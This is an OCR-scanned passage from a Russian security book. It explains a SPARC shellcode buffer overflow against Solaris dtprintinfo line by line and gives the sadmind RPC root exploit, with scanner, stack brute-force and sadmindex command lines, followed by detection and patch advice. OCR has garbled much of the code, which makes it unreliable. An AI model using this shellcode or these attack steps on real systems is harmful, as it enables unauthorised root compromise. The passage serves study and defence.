В строках 7 и 8 определяются две численные переменные. Переменная ret adr ис­пользуется для хранения адреса возврата, a i используется как счетчик цикла.

9.char exploitcode l I =

l0."\x82\x10\xZO\x17\x91\xdo\x20\.x08"

11."\х82\х1О\х2О\хса\ха6\х1с\хсО\х13\х9О\хОс\хсО\х13\х92\хОс\хсО\х13"

12."\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"

i3."\x2f \x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x0B\x94\x1a\x8O\xOa"

14."\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0r,x2 3\xbf\xfc"

15."\x82\x10\x20\x3b\291\xd4\xff\xff";

В строках 5-15 содержится последовательность символов, которые являются шестна-дцатеричным представлением откомпилированной программы, выполняемой после пе­реполнения буфера.

I6.unsigned long get_sp(vo;ci) 1?.i

18. asm ("mov ?sp, :i0 \n");

19. }

В строках 16-19 содержится программа, получающая текущий адрес указателя стека. Это достигается за счет использования специфической команды GCC — asm, которая по­зволяет программисту писать на языке ассемблера, используя стиль написания языка С. Эта функция просто берет текущий указатель стека из регистра % sp и помещает его в ре­гистр %iO для дальнейшего использования. За дополнительной информацией о языке ас­семблера для платформы Sparc обратитесь к узлу Sun Documentation (http: //docs. sun.com) и прочтите описание языка ассемблера для Solaris 2.6 и Solaris 7 (SPARC Assem­bly Language Reference Manual for Solaris 2.6 and Solaris 7).

2O.main()

21. {

22.putenv("LANG=");

23.for (i = 0; i < ADJUST; i++) x[i]=0xll;

В строке 23 выполняется цикл, в котором, начиная с элемента 0 вплоть до элемента ADJUST, массив х [ ] Заполняется символами 0x11. Поскольку в начале выполнения значе­ние ADJUST равно 0, массив х [ ] не изменяется. Смысл данного выражения заключается в том, что массив приводится к длине, кратной длине слова, перед тем как начнется копи­рование в массив. Необходимость этого станет очевидной позже. Важно также обратить внимание на то, что значения, которыми заполняется массив не могут содержать 0x00, поскольку в языке С символ 0x00 является символом конца строки. Поскольку символь­ный массив х [ ] будет передан функции execl () и данная функция будет работать с ним как со строкой, наличие символа 0x00 приведет к тому, что программа не будет выполне­на до конца. Если же проводить заполнение другими символами, execl () считает всю программу, пока не достигнет символа конца строки— 0x00. Символ конца строки запи­сывается в массив в строке 43 ниже.

24.for (i = ADJUST; i < 900; i+=4) { 25.x[i+3]=NOP & Oxff; 26.x[i+2] = (NOP » 8 ) sOxff; 27.x[i+l] = (NOP » 16 ) SOxff; 28.x[i+0] = (NOP » 24 ) SOxff; 29.}

В строках 24-29 производится запись в массив х [ ], начиная с элемента ADJUST вплоть до элемента 900. Стоит обратить внимание, что цикл работает с шагом 4, поскольку длина слова в архитектуре SPARC равна 4 байт. Поскольку каждый элемент в массиве имеет размер 1 байт, за один цикл в массив записывается 4 байт. Таким образом, в строке 25 элемент массива [i+З] заполняется значением инструкции NOP, к которой применена логическая операция AND со значением OxFF (NOP в шестнадцатеричном представлении равно ОхА6АСС013). Если применить операцию AND с OxFF к любому шестнадцатеричному числу, останутся только последние 8 бит от первоначального значения.

Таким образом, последняя часть слова, 0x13, помещается в элемент [i+З] массива х.

Следующие строки тела цикла несколько отличаются от первой. Перед применением логического AND, значение побитово смещается. Например, в строке 26 значение смещ* ется на 8 бит перед выполнением операции AND.

Обратите внимание, что элементы массива записываются в обратном порядке, начи­ная с четвертого и заканчивая первым. Я не уверен, но мне кажется, что это сделано с це­лью не привлекать внимание программ, которые отслеживают приложения, создающие

i большие последовательности команд NOP. Однако, по моим данным, таких систем пока не

| существует.

I 30.for (i=0;i<strlen(exploit_code);i++) | x(STARTADR+i+ADJUST]=exploit_code[i];

i В строке 30 берется шестнадцатеричная форма программы взлома, которая определе-; на как символьная строка под названием exploit_code, и помещается в определенное ; место массива х [ ]. В частности, строка с программой взлома помещается, начиная с эле­мента STARTADR+ADJUST. Значение STARTADR+ADJUST представляет собой смещение программы взлома относительно начала стека. Значение ADJUST, которое равно нулю, служит для того, чтобы код программы попадал в границы слова. Как выглядит наш массив х[] при нулевом значении ADJUST, показано на рис. 14.17.

Массиах Элемент

Рис. 14.17. Текущее содержимое массива х [ ]

Как видите, программа взлома была помещена в массив, начиная с позиции STARTADR+ADJUST. В данном случае программа начинается с элемента 724.

Однако поскольку начало стека может находиться по адресу, который не кратен длине слова, нам нужна возможность немного перемещать программу взлома внутри массива. Переменная ADJUST предназначена именно для этого. Данная переменная может изме­няться в пределах от 0 до 3. Если бы переменная ADDJUST была равна 1, наша программа была бы смещена на 1 байт относительно начала массива, как показано на рис. 14.18.

Массив х Элемент

Рис. 14.18. Содержимое массива

Различия между этим и приведенным ранее массивом заключается в том, что 0-й эле­мент массива заполнен значением, приведенным в строке 23. При этом запись программы валома начинается с элемента 725 — STARTADR (равен 724) + ADJUST (равен 1). Как вы по­нимаете, если установить значение ADJUST больше 3, массив примет первоначальный вид (как если бы ADJUST было равно 0), только размер заполненной начальной области не­сколько увеличится за счет элементов, записанных в него в строке 23.

31. ret_adr=get_sp()-OFFSET;

32.printf("jumping address : %lx\n",ret_adr);

33.if ((ret_adr & Oxff) ==0 ){

34.ret_adr -=16;

35.printf("New jumping address : %lx\n", ret_adr);

36.}

В строках 31-36 адрес возврата ret_adr задается равным разнице между значением, которое вернула функция get_sp (), и переменной OFFSET. После этого адрес проверя­ется, а затем на него накладывается маска OxFF с помощью логического AND. Как было ска­зано ранее, от любого числа, к которому применена такая процедура, остаются только по­следние 8 бит. Таким образом, если возвращенный после выполнения операции AND ад­рес возврата будет равным 0, мы обязательно должны убедиться в том, что точка возврата расположена раньше текущего адреса. Для этого задается отступ в 16 байт.

3'7. fox (i = ADJUST; i < 600 " i+=4){ 38.xti+31=ret_adr & 0xff; 39.xti+21=(ret_adr >> I ) &Oxff; 4O.xti+11=(ret_adr » 16 ) &Oxff; 41.xtj.+01:(ret_adr » 24 ) aoxff; 42.I

В строках 37-42 используется рассчитанный адрес возврата, который помещав начало массива х [ ], где-то между элементом ADJUST и 599. Данный фрагмент програ очень похож на фрагмент из строк 24-29. Единственное отличие заключается в том, > массив заполняется не инструкциями NOP, а адресом возврата. Поскольку мы заполн достаточно большую часть массива, вероятность того, что произойдет попадание в; возврата, довольно высока.

43.xIBUFSIzE]=O

В строке 43 в первый неопределенный элемент массива — в данном случае это элемеи номер 900 — помещается нулевое значение. Это символ конца строки, который теперыю зволяет оперировать с массивом как со строкой. Мы знали, что это будет элемент 900 евд со строки 24 программы. Наибольшим элементом массива может быть элемент 899, кот* рый заполнится инструкциями NOP.

44.execf("/usr/dt/bin/dtprintinfo", "dtprintinfo", "-p",xr(char * ); 45.)

В строке 44 программа фактически уже закончена. В этой строке производится ста» дартный системный вызов UNIX, принимающий в качестве аргументов любое количество строк. В первой строке передается путь к программе, которая должна выполняться. Вт» рая строка является эквивалентом ARGV [ 0 ]. Все остальные строки являются эквивалент» ми элементов ARGV [ 1 ], ARGV [ 2 ] и т.д. Последний передаваемый функции execl () аргу мент должен быть нулевым указателем, чтобы функция знала, что больше аргументов нет.

После запуска данной функции массив передается программе dtprintinfo с ключо» -р, что вызывает ошибку переполнения стека.

Дополнительная информация

Чтобы получить дополнительную информацию по данному вопросу, посетите узлы, указанные ниже.

  • Xforce: http://xforce.j-ss.net/static/2L88.php

  • MITRE: http://cve.mitre.org/cgi-bin/cvename.cqi?name=cvE-1999-

Эксплоит sadmind

В программе sadmind была обнаружена возможность переполнения буфера, котора позволяет взломщику удаленно выполнять команды или получать доступ к системе с по» номочиями суперпользователя. Многие версии данной программы позволяют перепо* мять буфер, а значит, переписывать указатель стека процесса sadmind. Ущерб от взлома данной программы может оказаться очень большим, поскольку sadmind выполняется с полномочиями суперпользователя. Это приводит к тому, что в результате взлома можно запустить любую программу от имени пользователя root.

Описание эксплоита

  • Название: Переполнение буфера демона Solstice (sadmind).

  • Варианты: Использование ошибок в rpc. ttdbserverd (база данных ToolTalk)« rpc. cmsd (4elron службы Calendar Manager)'

  • Операционная система: SunOS 5.3, 5.4, 5.5, 5.6 и 5.7.

  • Протоколы/службы: Sadmind.

  • Автор: Дерек Ченг (Derek Cheng).

Демон Solstice (sadmind) по умолчанию устанавливается в операционных системах SunOS 5.7, 5.6, 5.5.1 и 5.5. В операционных системах SunOS 5.4 и 5.3 sadmind может быть установлена, если установлены пакеты Solstice AdminSuite. Программа sadmind находится в каталоге /usr/sbin и обычно используется для выполнения удаленного системного ад­министрирования, например для добавления пользователей. Демон sadmind запускается автоматически демоном inetd, когда приходит запрос к данной службе.

Описание протокола

Для взлома используется порт удаленного вызова процедур (remote procedure callRPC), на­пример порт 100232.

RPC использует программу под названием portmapper (называемую также rpcbind), которая нужна для динамического распределения портов между приложениями. RPC ра­ботает поверх TCP/IP как протокол уровня приложений и занимается распределением портов для служб. Чтобы перечислить RPC-приложения, которые принимают информа­цию с удаленных компьютеров, вы можете послать удаленному серверу запрос в порт 111 (rpcbind) или порт 32771 (альтернативный вариант программы portmapper от компа­нии Sun). Для этого нужно воспользоваться командой rpcinf о с ключом -р.

Варианты

Существует еще несколько похожих методов взлома: использование rpc. ttdbserverd (база данных ToolTalk) и rpc. cmsd (демон службы Calendar Manager). Эти две службы RPC также запускаются с полномочиями суперпользователя, и также допускают переполнение буфера, а значит, могут быть взломаны. Служба ToolTalk обычно работает через порт 100068, а служба Calendar Manager — через порт 100083. Если в вашей системе установлены эти службы, будьте внимательны, поскольку эксплоиты для их взлома общедоступны и могут быть использованы для проникновения в систему.

Принцип работы

Данный эксплоит использует возможность переполнения буфера в программе sadmind. Программисты, разрабарывавшие sadmind, не предусмотрели проверку разме­ра данных, которые помещаются в стек. Поскольку данная служба не проверяет и не огра­ничивает размер помещаемых в стек переменных, существует возможность переполнения. Программа взлома пытается переполнить буфер таким образом, чтобы изменить содер­жимое других переменных и адрес возврата из функции. Данный адрес используется для возврата в точку, из которой была вызвана функция. Во время взлома значение в поле ад­реса возврата изменяется таким образом, чтобы переход произошел в точку, в которой находится подготовленный взломщиком код. Для этого необходимо тщательно подобрать размер и содержимое данных, вызывающих переполнение. Эти данные состоят из ма­шинного кода программы, выполняющего необходимую взломщику команду, и нового ад­реса возврата, указывающего на помещаемый в стек код. Когда программа пытается вер­нуться в точку вызова, происходит переход к коду взломщика.

В более детальном описании данный эксплоит работает так: длинный буфер передает­ся с запросом NETMGT_PROC_SERVICE (далее называемым clnt_call ()). Затем перепи­сывается указатель адреса возврата, что приводит к запуску программы взлома, которая может содержать все, что угодно. Пересылаемый буфер предназначается для хранения имени домена клиента. Переполнение стека в программе sadmind происходит при вызо-

ве функции amsl_verify (). Поскольку sadmind запускается от имени пользов root, данный эксплоит позволяет получить полномочия суперпользователя в системе.

Способ применения

Существует несколько утилит, которые могут помочь вам взломать службу sadmind с и пользованием переполнения буфера. Исходные коды трех таких программ можно найти« узле: http: //packetstormsecurity. org, произведя поиск по ключевому слову sadmind.

Первая утилита, называемая sadmindscan. с, является RPC-сканнером, произв щим поиск версий sadmind, допускающих взлом.

Чтобы откомпилировать программу sadmindscan. с, выполните команду

дсс -o sad'mindscan sadmindscan' c

Ниже приведены примеры сканирования, которые вы можете провести с помои данной программы.

./sadmindscan 10.10.10.10 с указанием определенного IP

./sadmindscan ttt.123.test.net с указанием имени домена

./sadmindscan 127.0.1. С указанием сети класса С

./sadmindscan 127.0.1.- > logfile С выводом информации в файл

sadmind'brute'lux.c (anrop — elux)

Главной целью данной программы является получение указателя стека методом полно-! го перебора вариантов. Информация, полученная с помощью данной программы, может! быть использована для взлома sadmind. Эта программа пытается найти указатель стекай довольно большом диапазоне: от -2048 до 2048 с шагом, заданным пользователем, поумол-1 чанию он равен 4. Если пользователь оставит значение по умолчанию, его компьютер! подключится к удаленной машине 1024 раз, если, конечно, вам не повезет и вы не попаде-1 те в нужный адрес раньше. После того как программа найдет правильный указатель стека, она вернет его адрес. Чтобы откомпилировать программу sadmind-brute-lux . с, введи­те команду

дсс -o sadmind-brute-lux'c -o sadmind-brute-Iux Чтобы запустить эту программу, введите команду ./sadmind-brute-lux Iarch] <host>

sadmindex.c (aBToP — Cheez Whiz)

Программа sadmindex.c, собственно, производит взлом службы sadmind. Для запус­ка данной программы ей нужно передать адрес стека. Таким образом, перед использо» нием этой программы вы должны запустить программу sadmind-brute-lux, чтобы по­лучить указатель стека.

Откомпилируйте программу sadmindex. с, введя команду

дсс -o sa&rindex.c -o sadmindex

Чтобы запустить sadmindex, выполните команду

./ sadmindex -h hostname -c command -s sp -i junk [-o offset] \ [-a align­mentl [-p]

  • hostname — имя компьютера, на котором запущен служба, подверженная взлому:

  • command — команда, которая должна быть запущена от имени пользователя root;

  • sp —значение указателя стека %esp;

  • junk— количество байтов, которыми нужно заполнить стек (это значение должно быть кратно 4);

  • offset — количество байтов, добавляемых к указателю стека для изменения адреса возврата;

  • alignment— количество байтов, необходимое для точного выравнивания кода взлома в буфере.

Если вы запустите эту программу с ключом -р, она выполнит только запрос к указанной машине, что приведет к запуску службы sadmind. Попытка взлома при этом не произво­дится. Если вы используете ключ -р, наличие буфера с программой взлома не требуется, и вы можете спокойно опустить ключи -с, -s и - j и их аргументы.

При указании команды, которая будет выполнена на удаленном узле, следите за тем, что­бы она передавалась программе в виде одной строки. Если в команде присутствуют пробелы или другие разделительные символы, заключите ее в кавычки. Программа взлома без изме­нений передаст данную строку программе /bin/sh -с, поэтому вы можете включать сюда любые конструкции оболочки Bourne. Передаваемая информация не должна превышать размер 512 байт, поэтому для командной строки остается приблизительно 390 байт.

Ниже приведены значения указателя стека %esp для Solaris 2.6 5/98 на платформе Pen­tium PC и для Solaris 7.0 10/98. В каждой системе служба sadmind была защтцена демоном inetd, который запускался во время загрузки. Существует довольно большая вероятность того, что приведенные ниже значения не будут работать при других наборах системных пе­ременных. Например, если inetd был запущен вручную, приведенные значения не совпадут с адресом указателя стека. Если обнаружится, что приведенные значения не работают, по­пробуйте изменить их в диапазоне от -2048 до 2048 с шагом в 32. Кроме того, для нахожде­ния текущего адреса стека можно воспользоваться программой sadmind-brute-lux.

Параметр junk, судя по всему, изменяется от версии к версии, однако приведенные зна­чения должны подходить для указанных версий, и вряд ли потребуют изменений. Для пара­метров смещения и выравнивания, в случае, если не указано других значений, будут исполь­зоваться значения по умолчанию. Эти значения также вряд ли потребуют изменений.

Ниже приведены адреса стека для 1386 Solaris.

(2.6) sadmindex -h host.example.com -с "touch HEH" -s 0х080418ес -j 512 (7.0) sadmindex -h host.example.com -с "touch HEH" -s 0x08041798 -j 536

Симптомы атаки

Попытку данного взлома можно обнаружить с помощью программы TCPdump. Таким признаком является наличие пакетов, посылаемых в порты программы portmapper с об­ращением к службе sadmind.

Кроме того, признаком взлома с использованием данного метода является пакет, со­держащий программу взлома. В таких пакетах будет содержаться большое количество одинаковых шестнадцатеричных значений, которые выполняют роль инструкций NOP. Как вы помните, в начале программ переполнения буфера должно содержаться довольно большое количество таких инструкций для упрощения угадывания адреса возврата.

Методы защиты

Компания Sun Microsystems выпустила заплаты для таких версий своего ПО. Solaris:

  • Solaris 7;

  • Solaris 2.6;

  • Solaris 2.5.1;

  • Solaris 2.5;

  • Solaris 2.4;

  • Solaris 2.3. Sun:

  • SunOS 5.7;

  • SunOS 5.6;

  • SunOS 5.5.1;

  • SunOS 5.5;

  • SunOS 5.4;

  • SunOS 5.3.

Sun Microsystems рекомендует как можно быстрее установить данные заплаты на i ьютеры с SunOS 5.7, 5.6, 5.5.1 и 5.5, а также на все системы с установленным пакетом S ice AdminSuite. Если в вашей системе установлен AdminSuite версии 2.3 или ниже, ] ендуется обновить данный пакет перед установкой заплат. Кроме того, Sun Microsystei екомендует выполнить следующие действия для защиты системы.

■ Отключить sadmind, если вы не используете его. Для этого нужно закомментир вать следующую строку в файле /etc/ined. conf:

100232/tO t1i rpcludp wait root /usr/sbin/sadmind sadmind.

■ В случае, если вы все же используете sadmind, установить уровень безопасно

STRONG:

IOO232/IO t1i rpcludp wait root /usr/sbin,/sadmind sadmind -s 2'

Приведенные здесь настройки вступят в силу после того, как процесс inetd получи! игнал HUP.

Список заплат